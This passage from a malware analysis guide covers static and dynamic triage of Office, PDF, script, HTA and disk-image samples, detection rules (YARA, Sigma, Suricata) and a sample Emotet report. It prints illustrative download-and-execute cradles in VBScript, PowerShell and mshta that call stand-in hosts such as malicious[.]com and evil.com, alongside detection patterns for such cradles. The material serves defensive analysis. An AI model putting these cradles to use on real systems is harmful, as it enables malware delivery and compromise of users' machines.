1. Use Office in isolated VM (FlareVM)
2. Enable Content when prompted (activates macro)
3. Monitor with Procmon for:
- PowerShell execution
- WScript/CScript execution
- File writes to temp directories
- Network connections

6.3 PDF Analysis​

Analyze PDF structure:

# Scan for malicious content with pdfid.py
pdfid.py document.pdf

# Flags to watch for:
# /OpenAction, /AA (Auto-execute on open)
# /JavaScript, /JS (Embedded JavaScript)
# /Launch (Execute external program)
# /EmbeddedFile (Embedded files)
# /RichMedia (Flash, multimedia)

# Analyze PDF streams
pdf-parser.py document.pdf

# Extract JavaScript [verify 2026-10-18]
pdf-parser.py --search javascript document.pdf

# Dump specific object [verify 2026-10-18]
pdf-parser.py --object 15 document.pdf

# Extract all streams [verify 2026-10-18]
pdf-parser.py --raw document.pdf > pdf_streams.txt

Extract embedded files from PDF:

# Using peepdf-3 (Python 3 fork — original peepdf is Python 2 / unmaintained) [verify 2026-10-18]
pip install peepdf-3
peepdf -i document.pdf

# Commands in interactive mode:
# > tree (show object structure) [verify 2026-10-18]
# > object 15 (inspect object) [verify 2026-10-18]
# > stream 15 (view decoded stream in the console) [verify 2026-10-18]
# > extract_stream 15 extracted_payload.bin (decoded stream to file) [verify 2026-10-18]

Modern PDF CVEs to flag during triage (recent, high-impact):

  • CVE-2023-21608 — Adobe Acrobat Reader use-after-free → remote code execution. [verify 2026-10-18]
  • CVE-2023-26369 — Adobe Acrobat Reader out-of-bounds write; flagged as actively exploited in the wild. [verify 2026-10-18]
  • CVE-2024-4367 — PDF.js arbitrary JavaScript execution; affects Firefox and any web app embedding the vulnerable PDF.js viewer. [verify 2026-10-18]
  • CVE-2023-36664 — Ghostscript command injection via crafted PDF; primarily impacts server-side PDF processing pipelines (mail gateways, CI rendering). [verify 2026-10-18]

If pdfid flags /JavaScript, /AA, or /OpenAction and the sample arrived in a context likely to hit one of these renderers, prioritize extracting embedded JS / streams and cross-reference vendor advisories before declaring benign.

6.4 Script Analysis (PowerShell/VBS/JS)​

PowerShell deobfuscation:

# Common obfuscation patterns
# Base64 encoded commands
$encoded = "Base64StringHere"
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

# Examine script without executing
Get-Content malicious.ps1

# Look for:
# - Invoke-Expression (IEX) - executes string as code
# - DownloadString, DownloadFile - downloads payload
# - FromBase64String - decodes embedded payload
# - Compression (IO.Compression.GzipStream)
# - WMI queries (Get-WmiObject)
# - Invoke-WebRequest, Invoke-RestMethod

# Deobfuscation with PSDecode: NOT static. It runs the script with key functions overridden and may execute it, so use an isolated analysis VM only; -dump writes each decoded layer to a file [verify 2026-10-18]
Import-Module PSDecode
PSDecode -dump -verbose .\malicious.ps1

# Or use online tools (in isolated environment)
# https://github.com/R3MRUM/PSDecode

VBScript/JScript analysis:

# Analyze without execution
cat malicious.vbs

# High-priority pattern grep
grep -iE "CreateObject|GetObject|WScript\.Shell|MSXML2\.XMLHTTP|WinHttp|ADODB\.Stream|Eval|Execute|ExecuteGlobal|StrReverse|Chr\(|Replace\(" malicious.vbs

Common obfuscation primitives and how to defeat them statically:

Chr() concatenation — characters built from ASCII codes to hide strings:

cmd = Chr(99) & Chr(109) & Chr(100) ' = "cmd"
# Resolve all Chr() calls in a sample
python3 -c "
import re
code = open('malicious.vbs').read()
for m in re.finditer(r'Chr\((\d+)\)', code):
print(f'Chr({m.group(1)}) -> {chr(int(m.group(1)))}')
" | sort -u

StrReverse — string stored backwards to evade signature matching:

hidden = "elbatius/c/ exe.dmc"
WScript.Shell.Run StrReverse(hidden) ' actually runs cmd.exe /c suitable

Replace() chains — junk characters inserted then stripped at runtime:

url = "hXXXtXXXtXXXpXXX:XXXXX//evil.com/payload.exe"
url = Replace(url, "XXX", "") ' = "http://evil.com/payload.exe"

Execute / ExecuteGlobal / Eval — dynamic code execution. SAFE deobfuscation idiom: swap the runtime-execution call for WScript.Echo() so the payload prints instead of running, then re-run with cscript /nologo in the analysis VM:

' Original
ExecuteGlobal(decodedPayload)

' Replace with this for safe extraction
WScript.Echo(decodedPayload)

GetObject("new:{CLSID}") — alternative to CreateObject that avoids the literal string WScript.Shell in the source. CLSID {72C24DD5-D70A-438B-8A42-98424B88AFB8} is the Windows Script Host shell instance — flag it on sight. [verify 2026-10-18]

Variable substitution tracing: for chained obfuscation, follow each variable from its assignment to its use and reconstruct the final value by hand. Most VBScript loaders are <300 lines and tractable to trace manually.

Common malicious patterns to flag:

  • CreateObject("WScript.Shell").Run — command execution
  • CreateObject("MSXML2.XMLHTTP") / WinHttp.WinHttpRequest.5.1 — HTTP download cradles
  • CreateObject("ADODB.Stream") — binary file writes (drops PE payloads to disk)
  • CreateObject("Scripting.FileSystemObject") — file system operations
  • GetObject("winmgmts:...") — WMI access (process spawn / system enumeration)
  • Shell.Application — Explorer shell invocation (can bypass some restrictions)
  • Eval() / Execute() / ExecuteGlobal() — dynamic execution; always deobfuscate before analyzing

JavaScript (JS) analysis:

# Beautify obfuscated JS
cat malicious.js | js-beautify > beautified.js

# Or use online tools
# https://beautifier.io/ [verify 2026-10-18]

# Look for:
# - eval() - executes string as code
# - unescape(), decodeURIComponent() - decode strings
# - ActiveXObject - COM object creation (Windows only)
# - WScript.Shell, WScript.CreateObject

6.5 Archive Analysis​

Inspect archives safely:

# List contents without extraction
7z l archive.zip
unzip -l archive.zip
tar -tzf archive.tar.gz

# Look for:
# - Double extensions (invoice.pdf.exe)
# - LNK files (Windows shortcuts)
# - Executable files masquerading as documents
# - Nested archives (archive.zip -> archive2.zip -> payload.exe)

# Extract to isolated directory
7z x archive.zip -o/tmp/extracted/

# Check extracted file types
cd /tmp/extracted/
file *

Analyze LNK (shortcut) files:

# Parse LNK file with LECmd (Windows) [verify 2026-10-18]
LECmd.exe -f malicious.lnk

# Or use lnk-parser (Linux) [verify 2026-10-18]
lnkinfo malicious.lnk

# Look for:
# - Target path (what it executes)
# - Command line arguments
# - Working directory
# - Icon location (may reveal payload location)

6.6 Linux/ELF Analysis​

Basic ELF analysis:

# File type and architecture
file suspicious.bin
# Output: ELF 64-bit LSB executable, x86-64

# ELF header
readelf -h suspicious.bin

# Section headers
readelf -S suspicious.bin

# Program headers
readelf -l suspicious.bin

# Symbol table
readelf -s suspicious.bin

# Check for suspicious libraries
ldd suspicious.bin

# Look for:
# - libc.so (standard)
# - libssl.so (network encryption)
# - libcrypto.so (cryptography)
# - Unusual paths (/tmp/lib.so)

Dynamic analysis (Linux malware):

# Use strace to monitor system calls (syscall classes take a % prefix) [verify 2026-10-18]
strace -f -e trace=%network,%file,%process ./suspicious.bin

# Monitor file operations (open and openat are separate syscalls) [verify 2026-10-18]
strace -e trace=open,openat,read,write,close ./suspicious.bin

# Monitor network operations (x86_64 has no send/recv syscalls; use sendto/recvfrom) [verify 2026-10-18]
strace -e trace=socket,connect,sendto,recvfrom ./suspicious.bin

# ltrace to monitor library calls
ltrace -f ./suspicious.bin

6.7 HTA (HTML Application) Analysis​

HTA files (.hta) are HTML documents executed by mshta.exe (Microsoft HTML Application Host) instead of a browser. Because mshta.exe is a signed Microsoft binary, the script runs with the full privileges of the current user with no browser sandbox — full COM, ActiveX, and filesystem access. HTAs are routinely used in phishing chains, often dropped inside ISO/ZIP archives.

MITRE ATT&CK: T1218.005 — System Binary Proxy Execution: Mshta. [verify 2026-10-18]

Detection:

file suspicious.hta
# Output is typically "HTML document text" — always verify the .hta extension separately

strings suspicious.hta | grep -iE "mshta|WScript|Shell|ActiveX|XMLHTTP|powershell|CreateObject"

Static triage approach: HTAs are plain text. Open in any editor — never double-click.

  1. Pull script blocks. grep -A 50 "<script" suspicious.hta and identify the language attribute (VBScript / JScript / mixed).
  2. Enumerate every COM instantiation. ActiveX/COM is the entire attack surface in HTAs:
    grep -nE "CreateObject|new ActiveXObject|GetObject" suspicious.hta
    Common malicious objects:
    • WScript.Shell — OS command execution
    • Scripting.FileSystemObject — file I/O, payload drop
    • MSXML2.XMLHTTP / WinHttp.WinHttpRequest.5.1 — HTTP download cradle
    • ADODB.Stream — binary file writes (drops PE to disk)
    • Shell.Application — Explorer shell, can bypass some restrictions
  3. Find execution sinks:
    grep -iE "Shell\.Run|ShellExecute|powershell|cmd\.exe|wscript|cscript|regsvr32|rundll32|msiexec" suspicious.hta
  4. Decode embedded payloads. HTA loaders frequently stash payloads in innerHTML of hidden divs or in script-scope variables:
    grep -oE "[A-Za-z0-9+/]{40,}={0,2}" suspicious.hta # base64 candidates
    grep -oE "&#[0-9]+;" suspicious.hta # HTML-entity encoded
    grep -oE "%[0-9A-Fa-f]{2}" suspicious.hta # percent-encoded
    Decode base64:
    echo "&lt;base64-blob&gt;" | base64 -d > stage2.bin
    file stage2.bin
  5. Apply the §6.4 VBScript deobfuscation idiom (swap Execute / ExecuteGlobal for WScript.Echo and re-run with cscript /nologo in the lab VM) to extract chained payloads safely.

Canonical malicious HTA patterns:

XMLHTTP download-and-drop cradle:

Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", "http://malicious[.]com/payload.exe", False
xhr.Send
Set s = CreateObject("ADODB.Stream") : s.Type = 1 : s.Open
s.Write xhr.responseBody
s.SaveToFile "C:\Users\Public\payload.exe", 2 : s.Close
CreateObject("WScript.Shell").Run "C:\Users\Public\payload.exe"

PowerShell cradle invocation:

CreateObject("WScript.Shell").Run "powershell -nop -w hidden -enc &lt;base64&gt;", 0, False

Inline mshta.exe URL invocation (seen in phishing links):

mshta.exe javascript:a=(GetObject("script:http://malicious[.]com/payload.sct")).Exec();close();

Dynamic confirmation: in the analysis VM, run Procmon filtered on Process Name is mshta.exe. Inspect every CreateFile, WriteFile, RegSetValue, and Process Create event — they reveal dropped paths, persistence keys, and child-process command lines.

6.8 Disk Image Analysis (ISO / IMG / VHD / VHDX)​

Disk-image containers are a MOTW (Mark-of-the-Web) bypass primitive. When a file is downloaded from the internet, Windows attaches a Zone.Identifier:$DATA ADS marking it Zone 3 (untrusted) — SmartScreen, Office Protected View, and the Win10/11 LNK warning all key on this. Before the November 2022 update (CVE-2022-41091), files inside a mounted ISO did not inherit the image's MOTW, so payloads inside ran without those prompts; patched Windows 10/11 propagate MOTW from the ISO to its contents. Still treat disk-image delivery as a MOTW-evasion signal. On Windows 10+ .iso auto-mounts as a virtual DVD on double-click and .vhd / .vhdx auto-mount as virtual disks.

MITRE ATT&CK: T1553.005 — Subvert Trust Controls: Mark-of-the-Web Bypass. [verify 2026-10-18]

Detection:

file suspicious.iso # "ISO 9660 CD-ROM filesystem data"
file suspicious.img # "DOS/MBR boot sector" or "Linux rev 1.0 ext2 filesystem data"
file suspicious.vhd # "Microsoft Disk Image, Virtual Server or Virtual PC, version 0x00010000"
file suspicious.vhdx # "Microsoft Disk Image eXtended"

Always analyze read-only and never execute contents outside the analysis VM.

Option A — extract without mounting (safest, cross-platform):

7z l suspicious.iso # list first
mkdir /tmp/iso_contents
7z x suspicious.iso -o/tmp/iso_contents/ # extract
find /tmp/iso_contents/ -type f -exec file {} \;

Option B — read-only loop mount (Linux):

sudo mkdir /mnt/suspicious_iso
sudo mount -o loop,ro suspicious.iso /mnt/suspicious_iso

ls -la /mnt/suspicious_iso/
find /mnt/suspicious_iso/ -type f -exec file {} \;

sudo umount /mnt/suspicious_iso

Option C — read-only mount (Windows analysis VM only):

$img = Mount-DiskImage -ImagePath "C:\analysis\suspicious.iso" -Access ReadOnly -PassThru
$drive = ($img | Get-Volume).DriveLetter
Get-ChildItem "${drive}:\" -Recurse -Force | Select FullName, Attributes, Length
Dismount-DiskImage -ImagePath "C:\analysis\suspicious.iso"

VHD / VHDX on Linux — convert to raw first:

sudo apt install qemu-utils
qemu-img convert -f vpc suspicious.vhd suspicious_raw.img # vpc = VHD
qemu-img convert -f vhdx suspicious.vhdx suspicious_raw.img # vhdx = VHDX
sudo mount -o loop,ro suspicious_raw.img /mnt/vhd_mount/

What to look for inside:

  1. The canonical LNK + hidden DLL / EXE pattern:
    archive.iso/
    Invoice.lnk <- victim double-clicks this
    document.pdf <- decoy shown to victim
    payload.dll <- hidden attribute set; LNK runs it via rundll32
    Always check for hidden files (ls -la, Get-ChildItem -Force). Parse every LNK with lnkinfo (Linux) or LECmd.exe (Windows) — record target path, arguments, working directory, icon location. [verify 2026-10-18]
  2. Decoy documents — a benign-looking PDF / DOCX displayed to the victim while the payload runs in the background. Analyze them separately via §6.2 / §6.3.
  3. Filename tricks — double extensions (invoice.pdf.exe) and Right-To-Left Override (U+202E) which reverses the text after it, so an executable stored as payload + U+202E + cod.exe renders as payloadexe.doc (ATT&CK T1036.002) [verify 2026-10-18]:
    find /mnt/iso/ -print | LC_ALL=C grep '[^[:print:]]' | cat -v # names with control or non-ASCII bytes (e.g. U+202E), shown in ^/M- notation; cat -v must come last [verify 2026-10-18]
  4. autorun.inf — older but still seen in IMG files.

Routing extracted contents:

Extracted fileSend to
.lnkArchive Analysis §6.5 (LNK subsection)
.dll / .exe§3 (Static) → §4 (Dynamic)
.ps1 / .vbs / .jsScript Analysis §6.4
.docm / .xlsmOffice Macro Analysis §6.2
.htaHTA Analysis §6.7
Nested .zip / .isoRecurse — repeat §6.5 / §6.8

Always document the MOTW-bypass technique explicitly in the report. It's a defensive-control gap that affects detection-engineering recommendations.


7. Classification & TTP Mapping​

  • Propose malware family or threat cluster (if possible)
  • Map behaviors to MITRE ATT&CK:
    • T1055 – Process Injection [verify 2026-10-18]
    • T1083 – File and Directory Discovery [verify 2026-10-18]
    • T1105 – Ingress Tool Transfer [verify 2026-10-18]
    • T1140 – Deobfuscate/Decode Files or Information [verify 2026-10-18]

8. IOCs & Detection Engineering​

8.1 IOC Extraction & Defanging​

Extract all IOC types:

# File hashes
sha256sum sample.exe dropped_file1.dll dropped_file2.exe
md5sum sample.exe dropped_file1.dll dropped_file2.exe

# Network indicators from strings/PCAP
grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" floss_output.txt # IPs
grep -oE "[a-zA-Z0-9.-]+\.(com|net|org|ru|cn)" floss_output.txt # Domains
tshark -r traffic.pcapng -T fields -e ip.dst | sort -u # Contacted IPs
tshark -r traffic.pcapng -Y dns -T fields -e dns.qry.name | sort -u # DNS queries

# Registry keys from Procmon/Regshot
grep "RegSetValue" procmon.csv | awk -F',' '{print $5}' | sort -u

# Mutexes from System Informer or strings
strings sample.exe | grep -i "mutex\|global\\\\"

# User-Agents from PCAP
tshark -r traffic.pcapng -Y http -T fields -e http.user_agent | sort -u

Defang IOCs for safe sharing:

# Defanging patterns
# http:// → hxxp://
# https:// → hxxps://
# . → [.]
# @ → [@]

# Examples:
# malicious.com → malicious[.]com
# http://evil.com/payload.exe → hxxp://evil[.]com/payload[.]exe
# attacker@evil.com → attacker[@]evil[.]com
# 192.168.1.100 → 192[.]168[.]1[.]100

# Automated defanging with ioc-fanger (Python; installs `fang` and `defang` commands) [verify 2026-10-18]
pip install ioc-fanger
echo "http://malicious.com" | defang

# Or manual sed replacement
echo "http://malicious.com/payload.exe" | sed 's/http:/hxxp:/g; s/\./[.]/g'

8.2 IOC Confidence & Volatility Rating​

IOC TypeConfidenceVolatilityNotes
File hashHighStaticUnique to specific sample
Mutex nameHighStaticHardcoded in malware
Registry keyHighStaticPersistence mechanism
IP addressMediumDynamicMay change (DGA, fast-flux)
Domain (C2)MediumDynamicMay change frequently
User-AgentLowDynamicCommon strings, high false positive
File pathMediumStaticMay vary by environment
PDB pathHighStaticReveals dev environment
Certificate hashHighStaticUsed for code signing

8.3 YARA Rule Creation​

Basic YARA rule template:

rule Malware_Family_Emotet_Variant_A {
meta:
description = "Detects Emotet variant A based on strings and imports"
author = "Analyst Name"
date = "2025-10-05"
reference = "CASE-2025-1005-001"
hash = "a1b2c3d4e5f6..."

strings:
$s1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" ascii
$s2 = "C:\\Windows\\SysWOW64\\rundll32.exe" wide
$s3 = { 4D 5A 90 00 03 00 00 00 } // MZ header
$mutex = "Global\\M12345" wide nocase

$api1 = "VirtualAlloc" ascii
$api2 = "CreateRemoteThread" ascii
$api3 = "WriteProcessMemory" ascii

condition:
uint16(0) == 0x5A4D and // PE file
filesize < 500KB and
2 of ($s*) and
all of ($api*)
}

Test YARA rule:

# Test against sample [verify 2026-10-18]
yara malware_rule.yar sample.exe

# Scan directory [verify 2026-10-18]
yara -r malware_rule.yar /path/to/samples/

# Save matches to file [verify 2026-10-18]
yara -r malware_rule.yar /path/to/samples/ > matches.txt

YARA rule repositories:

8.4 Sigma Rule Creation​

Sigma rule for malicious behavior (Sysmon Event ID 1 - Process Creation):

Generate a real UUID4 per rule — never copy a placeholder. Use python3 -c "import uuid; print(uuid.uuid4())" or uuidgen. Reusing example UUIDs in production rules causes silent merge collisions in SigmaHQ and downstream SIEMs.

title: Suspicious PowerShell Download Cradle
id: b8e4d2f9-7a1c-4e3b-9c5a-2f8d6e1b3a4c # example only — regenerate before deploying [verify 2026-10-18]
status: experimental
description: Detects PowerShell download cradle execution
references:
- https://attack.mitre.org/techniques/T1059/001/
author: Analyst Name
date: 2025-10-05
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains|all:
- 'DownloadString'
- 'Invoke-Expression'
condition: selection
falsepositives:
- Legitimate administrative scripts
level: high

Convert Sigma to SIEM queries (sigma-cli, modern replacement for legacy sigmac):

# Install sigma-cli (PyPI package: sigma-cli; legacy `sigmac` is deprecated)
pip install sigma-cli

# Backends and pipelines are plugins; install before converting [verify 2026-10-18]
sigma plugin install splunk elasticsearch kusto sysmon

# Convert to Splunk (backend requires a pipeline; sysmon maps process_creation) [verify 2026-10-18]
sigma convert -t splunk -p sysmon rule.yml

# Convert to Elastic (elasticsearch plugin provides lucene / eql / esql targets) [verify 2026-10-18]
sigma convert -t lucene -p ecs_windows rule.yml

# QRadar: no QRadar backend currently supports sigma-cli (both PyPI backends pin pySigma &lt;0.12) [verify 2026-10-18]

# Convert to Microsoft Sentinel (KQL via kusto backend, Sentinel ASIM pipeline) [verify 2026-10-18]
sigma convert -t kusto -p sentinel_asim rule.yml

8.5 Suricata Rule Creation​

Network IDS rule for C2 traffic (Suricata 5+ sticky-buffer syntax):

Legacy content-modifier syntax (content:"POST"; http_method;) is the older style; it still parses, but the Suricata docs recommend converting rules to sticky buffers. [verify 2026-10-18] Modern rules use sticky buffers (http.method; content:"POST";) — keyword first, then content matches that follow apply to that buffer until another sticky buffer or pkt_data; is set.

alert http $HOME_NET any -> $EXTERNAL_NET any ( \
msg:"ET MALWARE Emotet C2 Checkin"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.uri; content:"/"; depth:1; \
http.user_agent; content:"Mozilla/5.0 (Windows NT 10.0|3b| Win64|3b| x64)"; \
sid:1000001; rev:1; \
metadata:created_at 2025_10_05; \
classtype:trojan-activity; \
)

Use SID range 1000000–1999999 for site-local custom rules; 2000000–2099999 (ET Open) and 2800000–2899999 (ET Pro) are Emerging Threats allocations. [verify 2026-10-18] Reusing ET SIDs causes merge conflicts on rule update.

DNS-based detection:

alert dns $HOME_NET any -> any 53 (msg:"ET MALWARE Suspicious DGA Domain Query"; dns.query; content:".tk"; nocase; sid:1234568; rev:1;)

Test Suricata rules:

# Test rule syntax
suricata -T -c /etc/suricata/suricata.yaml -S custom.rules

# Run Suricata on PCAP
suricata -r sample_traffic.pcapng -S custom.rules -l /var/log/suricata/

9. Reporting & Documentation​

9.1 Malware Analysis Report Template​

# Malware Analysis Report

## Executive Summary
- **Malware Family:** Emotet (Variant A)
- **Threat Level:** High
- **Initial Vector:** Phishing email with malicious attachment
- **Primary Capability:** Banking trojan, credential theft, lateral movement
- **Recommended Action:** Block all network IOCs, hunt for persistence mechanisms

---

## Case Metadata

| Field | Value |
|--------------------|------------------------------------------|
| Case ID | CASE-2025-1005-001 |
| Sample ID | SAM-20251005-1430-001 |
| Analyst | Analyst Name |
| Analysis Date | 2025-10-05 |
| Filename (original)| invoice_2025.exe |
| SHA256 | a1b2c3d4e5f6... |
| File Size | 245 KB |
| File Type | PE32 executable (GUI) x86, for MS Windows|

---

## Technical Analysis

### Static Analysis

**File Properties:**
- Compiler: Microsoft Visual C++ 8.0
- Timestamp: 2025-09-28 14:23:11 UTC (possibly forged)
- Digital Signature: None
- Packer: UPX (detected and unpacked)
- Entropy: 7.2 (high - indicates encryption/packing)

**Capabilities (CAPA):**
- Network communication (URLDownloadToFile, InternetOpen)
- Process injection (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread)
- Persistence via registry (RegSetValue)
- Credential theft (CredEnumerate, LsaEnumerateLogonSessions)

**Suspicious Strings:**
- hxxp://malicious[.]com/payload[.]exe
- 192[.]168[.]56[.]101
- HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- Global\M12345 (mutex)
- C:\Users\Public\svchost.exe (dropped file)

### Dynamic Analysis

**Execution Flow:**
1. Creates mutex "Global\M12345" to prevent multiple infections
2. Drops secondary payload to C:\Users\Public\svchost.exe
3. Establishes persistence via registry Run key
4. Injects code into explorer.exe
5. Connects to C2 server at 192[.]168[.]56[.]101:443
6. Exfiltrates credentials via HTTP POST

**Persistence Mechanisms:**
- Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Defender
- Scheduled Task: N/A
- Service: N/A

**Network Behavior:**
- DNS queries: malicious[.]com, c2-server[.]tk
- C2 communication: HTTPS POST to 192[.]168[.]56[.]101:443
- User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
- Beacon interval: 60 seconds

---

## Indicators of Compromise (IOCs)

### File Hashes
| Hash Type | Value |
|-----------|--------------------------------------------------------------------|
| SHA256 | a1b2c3d4e5f6789012345678901234567890123456789012345678901234567890 |
| SHA1 | 1234567890abcdef1234567890abcdef12345678 |
| MD5 | 12345678901234567890123456789012 |

### Dropped Files
| Filename | SHA256 | Path |
|------------------------------|-------------------|-----------------------------|
| svchost.exe | b2c3d4e5f6... | C:\Users\Public\svchost.exe |

### Network Indicators (Medium Confidence - Dynamic)
| Type | Value (Defanged) | Context |
|--------|---------------------------|--------------------|
| Domain | malicious[.]com | C2 server |
| Domain | c2-server[.]tk | Backup C2 |
| IP | 192[.]168[.]56[.]101 | C2 IP address |
| URL | hxxps://malicious[.]com/api | C2 callback URL |

### Host Indicators (High Confidence - Static)
| Type | Value |
|--------------|---------------------------------------------------------|
| Mutex | Global\M12345 |
| Registry Key | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Defender |
| File Path | C:\Users\Public\svchost.exe |

---

## MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | Evidence |
|------------------|---------------|---------------------------------|-----------------------------------|
| Execution | T1059.003 | Windows Command Shell | cmd.exe spawned by sample |
| Persistence | T1547.001 | Registry Run Keys | HKCU\...\Run key created |
| Stealth | T1055.001 | Dynamic-link Library Injection | Code injected into explorer.exe |
| Credential Access| T1003.001 | LSASS Memory | LsaEnumerateLogonSessions called |
| Command & Control| T1071.001 | Web Protocols (HTTP/HTTPS) | HTTPS POST to C2 |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Credentials sent via HTTP POST |

---

## Detection & Hunting Guidance

### YARA Rule
```yara
rule Malware_Emotet_VariantA {
meta:
description = "Detects Emotet variant A"
author = "Analyst Name"
date = "2025-10-05"
hash = "a1b2c3d4e5f6..."
strings:
$mutex = "Global\\M12345" wide
$c2 = "malicious.com" ascii
$ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" ascii
condition:
uint16(0) == 0x5A4D and 2 of them
}
```

### Sigma Rule (Process Creation)
```yaml
title: Emotet Registry Persistence
detection:
selection:
CommandLine|contains: 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run'
condition: selection
```

### Hunting Queries

**Splunk:**
```splunk-spl
index=windows EventCode=1 (CommandLine="*HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*" OR Image="*\\svchost.exe" AND Image!="C:\\Windows\\System32\\svchost.exe")
```

**Elastic:**
```text
event.code:1 AND (process.command_line:*HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run* OR (process.executable:*svchost.exe AND NOT process.executable:C\:\\Windows\\System32\\svchost.exe))
```

---

## Recommendations

### Immediate Actions
1. **Block network IOCs** at firewall/proxy (malicious[.]com, c2-server[.]tk, 192.168.56.101)
2. **Hunt for mutex** "Global\M12345" on endpoints
3. **Check registry Run keys** for "Windows Defender" entry pointing to non-standard path
4. **Search for file** C:\Users\Public\svchost.exe across environment

### Remediation Steps
1. Isolate infected hosts from network
2. Kill malicious processes (svchost.exe in C:\Users\Public\)
3. Delete dropped files and registry persistence
4. Reset credentials for affected users
5. Re-image compromised systems

### Long-term Mitigations
- Enable PowerShell logging (ScriptBlock, Module, Transcription)
- Deploy endpoint detection and response (EDR) solution
- Implement application whitelisting
- User security awareness training on phishing

---

## Appendix

### Evidence Files
- `sample.exe` (original) - SHA256: a1b2c3d4e5f6...
- `sample_unpacked.exe` - SHA256: b2c3d4e5f6...
- `svchost.exe` (dropped) - SHA256: c3d4e5f6...
- `procmon_output.csv` - Process Monitor logs
- `traffic_capture.pcapng` - Network traffic capture
- `regshot_comparison.html` - Registry changes

### Analysis Tools Used
- FLOSS 2.3 (string extraction)
- CAPA 7.0 (capability detection)
- PE-bear 0.6 (PE analysis)
- Procmon 3.95 (behavioral analysis)
- Wireshark 4.0 (network analysis)

### References
- MITRE ATT&CK: https://attack.mitre.org/
- VirusTotal: https://www.virustotal.com/gui/file/&lt;SHA256&gt;
- MalwareBazaar: https://bazaar.abuse.ch/

---

**Report Date:** 2025-10-05
**Last Updated:** 2026-10-18

9.2 Evidence Package Structure​

/CASE-2025-1005-001/
├── report/
│ ├── malware_analysis_report.md
│ └── malware_analysis_report.pdf
├── intake/
│ ├── SAM-20251005-1430-001.7z (password: infected)
│ └── chain_of_custody.txt
├── binaries/
│ ├── sample.exe (original)
│ ├── sample_unpacked.exe
│ └── svchost.exe (dropped)
├── static/
│ ├── floss_output.txt
│ ├── capa_report.txt
│ ├── peframe_analysis.txt
│ └── strings.txt
├── dynamic/
│ ├── procmon_output.csv
│ ├── regshot_comparison.html
│ ├── sysmon_logs.evtx
│ └── traffic_capture.pcapng
├── iocs/
│ ├── iocs.txt (defanged)
│ ├── iocs.json
│ └── iocs.csv
├── detections/
│ ├── emotet_variantA.yar
│ ├── emotet_sigma.yml
│ └── emotet_suricata.rules
└── hashes.txt (SHA256 of all files)

9.3 Handoff Checklist​

  • All file hashes verified in evidence package
  • IOCs defanged in report
  • Sensitive data (credentials, PII) sanitized
  • Detection rules tested against sample
  • MITRE ATT&CK mapping complete
  • Recommendations reviewed with stakeholders
  • Evidence package encrypted (password: infected)
  • Report approved by peer reviewer
  • Findings briefed to incident response team
  • Threat intelligence shared (if authorized)

10. Advanced Techniques​

10.1 Memory Forensics Integration​

Acquire memory dump during dynamic analysis:

# Using FTK Imager (GUI)
# File -> Capture Memory

# Using DumpIt (command line)
DumpIt.exe

# Using WinPMEM (output path is positional; raw image) [verify 2026-10-18]
winpmem_mini_x64.exe memory.dmp

# Verify memory dump
Get-FileHash memory.dmp -Algorithm SHA256

Analyze with Volatility 3:

# Easy way for Windows memory analysis
# -> https://github.com/gl0bal01/volatility-toolkit [verify 2026-10-18]

# List available plugins
vol.py -h

# Identify OS profile [verify 2026-10-18]
vol.py -f memory.dmp windows.info

# List running processes [verify 2026-10-18]
vol.py -f memory.dmp windows.pslist
vol.py -f memory.dmp windows.pstree

# Find hidden/injected processes [verify 2026-10-18]
vol.py -f memory.dmp windows.psscan

# Network connections [verify 2026-10-18]
vol.py -f memory.dmp windows.netscan

# Scan for malware signatures [verify 2026-10-18]
vol.py -f memory.dmp windows.malfind

# Dump suspicious process memory [verify 2026-10-18]
vol.py -f memory.dmp -o dump_dir windows.memmap --pid 1234 --dump

# Extract command lines [verify 2026-10-18]
vol.py -f memory.dmp windows.cmdline

# Registry hives [verify 2026-10-18]
vol.py -f memory.dmp windows.registry.hivelist
vol.py -f memory.dmp windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"

YARA scan in memory:

# Scan process memory (VADs) with YARA rules; yarascan.YaraScan scans the whole layer [verify 2026-10-18]
vol.py -f memory.dmp windows.vadyarascan --yara-file malware.yar

10.2 Automated Sandbox Analysis​

ANY.RUN (cloud-based):

1. Upload sample to https://app.any.run
2. Select Windows version and network simulation
3. Interact with sample (click buttons, wait for execution)
4. Review process tree, network traffic, file operations
5. Download PCAP and artifacts

Joe Sandbox (cloud/on-prem):

# Auth: export JBX_API_KEY=&lt;key&gt; (or pass --apikey); on-prem also set JBX_API_URL (or --apiurl) [verify 2026-10-18]
# Submit via jbxapi (list valid system IDs: jbxapi server systems) [verify 2026-10-18]
jbxapi submit sample.exe --system &lt;SYSTEM_ID&gt;

# Wait for analysis (status field; webid under most_relevant_analysis) [verify 2026-10-18]
jbxapi submission info &lt;submission_id&gt;

# Download report (download writes into --dir, default ./&lt;webid&gt;; report prints JSON) [verify 2026-10-18]
jbxapi analysis download &lt;webid&gt; html --dir joe_reports/
jbxapi analysis report &lt;webid&gt; > joe_report.json

10.3 Reverse Engineering Workflow​

Disassembly with IDA Pro/Ghidra:

# IDA Pro workflow
1. Open sample.exe in IDA Pro
2. Auto-analysis completes
3. Navigate to Functions window
4. Find entry point (start/main function)
5. Identify interesting functions:
- Network functions (send, recv, InternetOpen)
- Crypto functions (CryptEncrypt, AES_encrypt)
- String decryption routines
6. Set breakpoints for dynamic analysis
7. Use F5 (Hex-Rays) to decompile to pseudocode

# Ghidra workflow (free alternative)
1. Create new project
2. Import sample.exe
3. Analyze with default options
4. Use Symbol Tree to find functions
5. Decompiler window shows pseudocode
